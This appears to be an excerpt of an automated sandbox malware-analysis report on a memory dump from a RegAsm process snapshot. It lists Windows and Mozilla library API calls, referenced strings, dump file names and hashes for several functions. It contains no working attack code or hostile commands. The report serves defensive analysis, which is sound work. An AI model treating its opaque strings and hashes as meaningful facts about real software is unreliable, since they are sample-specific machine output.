GetCurrentThreadId.KERNEL32 ref: 6C525EAB
GetCurrentThreadId.KERNEL32 ref: 6C525EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C525ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C526017

Part of subcall function 6C514310: moz_xmalloc.MOZGLUE(00000010,?,6C5142D2), ref: 6C51436A
Part of subcall function 6C514310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5142D2), ref: 6C514387

moz_xmalloc.MOZGLUE(00000004), ref: 6C525F47
GetCurrentProcess.KERNEL32 ref: 6C525F53
GetCurrentThread.KERNEL32 ref: 6C525F5C
GetCurrentProcess.KERNEL32 ref: 6C525F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C525F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C525F27

Part of subcall function 6C52CA10: mozalloc_abort.MOZGLUE(?), ref: 6C52CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5255E1), ref: 6C525E8C

Part of subcall function 6C52CA10: malloc.MOZGLUE(?), ref: 6C52CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5255E1), ref: 6C52605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5255E1), ref: 6C5260CC

Strings

GeckoMain, xrefs: 6C525ECE, 6C526015

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 4f38ec9a490d592a6bdff4cc1e92e4b8c0a6f4197ab85c1ae87b9078bb47dc44
Instruction ID: 6683332779b8f24db0724e5cc9a7acca3c88e165e1011492cb5a4f4ec2eb0118
Opcode Fuzzy Hash: 4f38ec9a490d592a6bdff4cc1e92e4b8c0a6f4197ab85c1ae87b9078bb47dc44
Instruction Fuzzy Hash: 0171E5B0605780DFD710DF25C880A6ABBF0FF89304F55496DE58A87B92DB74E848CB92

Function 6C529590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5131C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C513217
Part of subcall function 6C5131C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C513236
Part of subcall function 6C5131C0: FreeLibrary.KERNEL32 ref: 6C51324B
Part of subcall function 6C5131C0: __Init_thread_footer.LIBCMT ref: 6C513260
Part of subcall function 6C5131C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C51327F
Part of subcall function 6C5131C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C51328E
Part of subcall function 6C5131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5132AB
Part of subcall function 6C5131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5132D1
Part of subcall function 6C5131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5132E5
Part of subcall function 6C5131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5132F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C529675
__Init_thread_footer.LIBCMT ref: 6C529697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5296E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C529707
__Init_thread_footer.LIBCMT ref: 6C52971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C529773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5297B7
FreeLibrary.KERNEL32 ref: 6C5297D0
FreeLibrary.KERNEL32 ref: 6C5297EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C529824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C529670
ntdll.dll, xrefs: 6C5296E3
MapViewOfFileNuma2, xrefs: 6C5297B1
NtMapViewOfSection, xrefs: 6C529701

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 84d7d6520afa07a4835248bb0d6773ea7da05ac2fc36935f34b574a3ffe3266f
Instruction ID: 65736c135b7413ecb284ddbdac8ba0d6192c3b50e7e55ef38ace09b1472bbbb0
Opcode Fuzzy Hash: 84d7d6520afa07a4835248bb0d6773ea7da05ac2fc36935f34b574a3ffe3266f
Instruction Fuzzy Hash: 5F61F070700281DBEF00DFA5DD84B9A7BF4EB8A314F1786A9F95683780D734A854CB95

Function 6C576660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C59F618), ref: 6C576694
GetThreadId.KERNEL32(?), ref: 6C5766B1
GetCurrentThreadId.KERNEL32 ref: 6C5766B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C5766E1
EnterCriticalSection.KERNEL32(6C59F618), ref: 6C576734
GetCurrentProcess.KERNEL32 ref: 6C57673A
LeaveCriticalSection.KERNEL32(6C59F618), ref: 6C57676C
GetCurrentThread.KERNEL32 ref: 6C5767FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C576868
RtlCaptureContext.NTDLL ref: 6C57687F

Strings

WalkStack64, xrefs: 6C576890

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 5c2ccc4923916a08248a7eda9db3687cd89e8362c70bf124077bae1b6c12f1e0
Instruction ID: f5ab65e9e912bef1ff1095d97bd68cd40a4f5665e9d0bcb684aac8b769bcc266
Opcode Fuzzy Hash: 5c2ccc4923916a08248a7eda9db3687cd89e8362c70bf124077bae1b6c12f1e0
Instruction Fuzzy Hash: FA51DC71A09340AFDB21DF25CC44B5ABBF4FF89714F01892DF59997640DB74E8488BA2

Function 6C55DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C559420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C524A68), ref: 6C55945E
Part of subcall function 6C559420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C559470
Part of subcall function 6C559420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C559482
Part of subcall function 6C559420: __Init_thread_footer.LIBCMT ref: 6C55949F

GetCurrentThreadId.KERNEL32 ref: 6C55DE73
GetCurrentThreadId.KERNEL32 ref: 6C55DF7D
AcquireSRWLockExclusive.KERNEL32(6C59F4B8), ref: 6C55DF8A
ReleaseSRWLockExclusive.KERNEL32(6C59F4B8), ref: 6C55DFC9
GetCurrentThreadId.KERNEL32 ref: 6C55DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C55E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C524A68), ref: 6C55DE7B

Part of subcall function 6C5594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5594EE
Part of subcall function 6C5594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C559508

Part of subcall function 6C54CBE8: GetCurrentProcess.KERNEL32(?,6C5131A7), ref: 6C54CBF1
Part of subcall function 6C54CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5131A7), ref: 6C54CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C524A68), ref: 6C55DEB8
free.MOZGLUE(00000000,?,6C524A68), ref: 6C55DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C55DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C55DE83
<none>, xrefs: 6C55DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C55E00E

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: d340466a65e926a280adcc789978240195949b4ce5293750d3639b40ec4d9577
Instruction ID: a97a44496bd8af93f07b48b6679c25615055bd8cf396a5cf1610a8d29a7d2e3b
Opcode Fuzzy Hash: d340466a65e926a280adcc789978240195949b4ce5293750d3639b40ec4d9577
Instruction Fuzzy Hash: 1441F472701250DBEB109F64DD047AA7775EF8230CF960156E90987B01DB71AC25CBEA

Function 6C514480 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C554843,?), ref: 6C5145F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C554843,?), ref: 6C51468A
free.MOZGLUE(?,?,?,?,?,?,6C554843,?), ref: 6C5146C9
free.MOZGLUE(?), ref: 6C5146EF
free.MOZGLUE(?), ref: 6C514712
free.MOZGLUE(?), ref: 6C514735
free.MOZGLUE(?), ref: 6C514758
free.MOZGLUE(?), ref: 6C51477B
free.MOZGLUE(?), ref: 6C51479E

Strings

fC3Ecpi2mHfnCg5zuH96sK+IhQjzT2OrCYOri5unS3Suc7RXcf8ACuH/AOguv/gL/wDZ0f8ACuH/AOguv/gL/wDZ1yf2rh/P7j0f7AxnZfecNRVzUdMuNNmIlUtCZZI45gMB9jlT9Dx0qnXbRrQrR54O6PMxGGq4ap7OqrMKKMmitTAKKKKACirmkacdW1a3sBL5RmLfPt3YwpbpkenrXWf8K3b/AKC4/wDAX/7OuOvjqNGfJPc9LC5TicTT9pTSt6nD, xrefs: 6C5145B2

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: free$moz_xmalloc
String ID: fC3Ecpi2mHfnCg5zuH96sK+IhQjzT2OrCYOri5unS3Suc7RXcf8ACuH/AOguv/gL/wDZ0f8ACuH/AOguv/gL/wDZ1yf2rh/P7j0f7AxnZfecNRVzUdMuNNmIlUtCZZI45gMB9jlT9Dx0qnXbRrQrR54O6PMxGGq4ap7OqrMKKMmitTAKKKKACirmkacdW1a3sBL5RmLfPt3YwpbpkenrXWf8K3b/AKC4/wDAX/7OuOvjqNGfJPc9LC5TicTT9pTSt6nD
API String ID: 3009372454-2731156913
Opcode ID: da6b882f772e6dc9cf0a5925adf31df6ce61a048de4f8041a7d9854eed288311
Instruction ID: b52f9e0e37c779c29d78e3c61e55a1bb2e527dd2dc3185efdf341807924ab193
Opcode Fuzzy Hash: da6b882f772e6dc9cf0a5925adf31df6ce61a048de4f8041a7d9854eed288311
Instruction Fuzzy Hash: 3AB1E371A081508FEB18DE2CDC9876D77A2AF8132CF185A69E416DFFC6E7349C408B91

Function 6C56D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C56D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C56D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C56D52A
GetCurrentThreadId.KERNEL32 ref: 6C56D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C56D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C56D55F
free.MOZGLUE(00000000), ref: 6C56D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C56D5D3
GetCurrentThreadId.KERNEL32 ref: 6C56D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C56D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C56D652
GetCurrentThreadId.KERNEL32 ref: 6C56D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C56D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C56D6A2

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 53169cd2a960b758b430c821ea8600eebe0c76d07724f07ee90c50b6ad62e644
Instruction ID: 3f1b7d4ad27629014b0e083fb94111273ba367325788691465fa2a69661fa1e1
Opcode Fuzzy Hash: 53169cd2a960b758b430c821ea8600eebe0c76d07724f07ee90c50b6ad62e644
Instruction Fuzzy Hash: F0519F71604745DFD704DF35C884A9ABBF4FF89318F118A6EE84A87B21EB30A944CB95

Function 6C511E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C59E784), ref: 6C511EC1
LeaveCriticalSection.KERNEL32(6C59E784), ref: 6C511EE1
EnterCriticalSection.KERNEL32(6C59E744), ref: 6C511F38
LeaveCriticalSection.KERNEL32(6C59E744), ref: 6C511F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C511F83
LeaveCriticalSection.KERNEL32(6C59E784), ref: 6C511FC0
EnterCriticalSection.KERNEL32(6C59E784), ref: 6C511FE2
LeaveCriticalSection.KERNEL32(6C59E784), ref: 6C511FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C512019

Strings

\Yl, xrefs: 6C511F3E
DYl, xrefs: 6C511F56
DYl, xrefs: 6C511F32
MOZ_CRASH(), xrefs: 6C512000

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: DYl$DYl$MOZ_CRASH()$\Yl
API String ID: 2055633661-3951999336
Opcode ID: 0410991184394c7a957b46516146c049eb03afcb56575acdce73c8e7df1b7544
Instruction ID: ea55be90d15e75134bc9a9e0499e944c1ed1095b6de569c1da3386cd0e9604bc
Opcode Fuzzy Hash: 0410991184394c7a957b46516146c049eb03afcb56575acdce73c8e7df1b7544
Instruction Fuzzy Hash: DF41F471B043958FEF109F69CC88B6B36B5FB5A348F0201A5E90597B40D7B19804CBDA

Function 6C535670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C5356D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5356E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C5356F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C535744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C5357BC
GetTickCount64.KERNEL32 ref: 6C5358CB
EnterCriticalSection.KERNEL32(6C59F688), ref: 6C5358F3
__aulldiv.LIBCMT ref: 6C535945
LeaveCriticalSection.KERNEL32(6C59F688), ref: 6C5359B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C59F638,?,?,?,?), ref: 6C5359E9

Strings

MOZ_APP_RESTART, xrefs: 6C5356CC

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: f2374e691c1f50284f68639efd1f6ead0f0316f2add1f26690f8fe89f7861d53
Instruction ID: 34c1b6795527135622f00cbf0fa2a6ac6375f6a48aec74cb516fa95a55f31b0a
Opcode Fuzzy Hash: f2374e691c1f50284f68639efd1f6ead0f0316f2add1f26690f8fe89f7861d53
Instruction Fuzzy Hash: D2C17C31A083909FDB05CF28C84065AB7F1FFCA754F56AB5DE4C897660E770A885CB86

Function 6C55EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C559420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C524A68), ref: 6C55945E
Part of subcall function 6C559420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C559470
Part of subcall function 6C559420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C559482
Part of subcall function 6C559420: __Init_thread_footer.LIBCMT ref: 6C55949F

GetCurrentThreadId.KERNEL32 ref: 6C55EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C55EC8C

Part of subcall function 6C5594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5594EE
Part of subcall function 6C5594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C559508

GetCurrentThreadId.KERNEL32 ref: 6C55ECA1
AcquireSRWLockExclusive.KERNEL32(6C59F4B8), ref: 6C55ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C55ECC5
ReleaseSRWLockExclusive.KERNEL32(6C59F4B8), ref: 6C55ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C55ED19
CloseHandle.KERNEL32(?), ref: 6C55ED28
free.MOZGLUE(00000000), ref: 6C55ED2F
ReleaseSRWLockExclusive.KERNEL32(6C59F4B8), ref: 6C55ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C55EC94

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 9287c11efeb548d0814bf6da996fa306b0cf3aaf3f1bd6a4e3e5d6d8420a809a
Instruction ID: 4d2db971004b490c7fc0f128bd6ef81bd4e0a415644cae93a94a80826af5984a
Opcode Fuzzy Hash: 9287c11efeb548d0814bf6da996fa306b0cf3aaf3f1bd6a4e3e5d6d8420a809a
Instruction Fuzzy Hash: 0F213571600144EBEF00AF64DC04AAA7739FB8626CF524256FC1987740DB79AC26CBA6

Function 6C558ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C51EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C51EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C55B392,?,?,00000001), ref: 6C5591F4

Part of subcall function 6C54CBE8: GetCurrentProcess.KERNEL32(?,6C5131A7), ref: 6C54CBF1
Part of subcall function 6C54CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5131A7), ref: 6C54CBFA

Strings

data, xrefs: 6C5590E8
timeline-fileio, xrefs: 6C5590A4
stack-chart, xrefs: 6C5590B2
name, xrefs: 6C558F16
timeline-overview, xrefs: 6C55907A
marker-chart, xrefs: 6C55905E
marker-table, xrefs: 6C55906C
timeline-memory, xrefs: 6C559088
timeline-ipc, xrefs: 6C559096

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: acd116a95c4df98da82c5a88744a35f6d0012499b6d1b05a0777e4808854967e
Instruction ID: 8de9d17209d0a1374031c6ff4420658fca01a4a6a8f2f6f6812c83b9c9cdfc2a
Opcode Fuzzy Hash: acd116a95c4df98da82c5a88744a35f6d0012499b6d1b05a0777e4808854967e
Instruction Fuzzy Hash: 06B1CFB0A0121A9BDB04CF94CC86BAEBBF6AF89318F50441AD402ABF80D7759D55CBD1

Function 6C53C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C53C5A3
WideCharToMultiByte.KERNEL32 ref: 6C53C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C53C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C53CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C53CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C53CAA5

Strings

(null), xrefs: 6C53C596
0, xrefs: 6C53D30A

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 2c41c20f69799fa78f6d91aa5e5e9263308bfdc62c51732cad79c82fa1966cc6
Instruction ID: 132f7675d14a7740322f8a05276d8e8e2ffe096d3d2aa71c184273d18cd3e457
Opcode Fuzzy Hash: 2c41c20f69799fa78f6d91aa5e5e9263308bfdc62c51732cad79c82fa1966cc6
Instruction Fuzzy Hash: 17A1AC316093628FDB00DF29C94871ABBF1BF89348F059A5DE88A97741E731EC05CB92

Function 6C513480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C513284,?,?,6C5356F6), ref: 6C513492
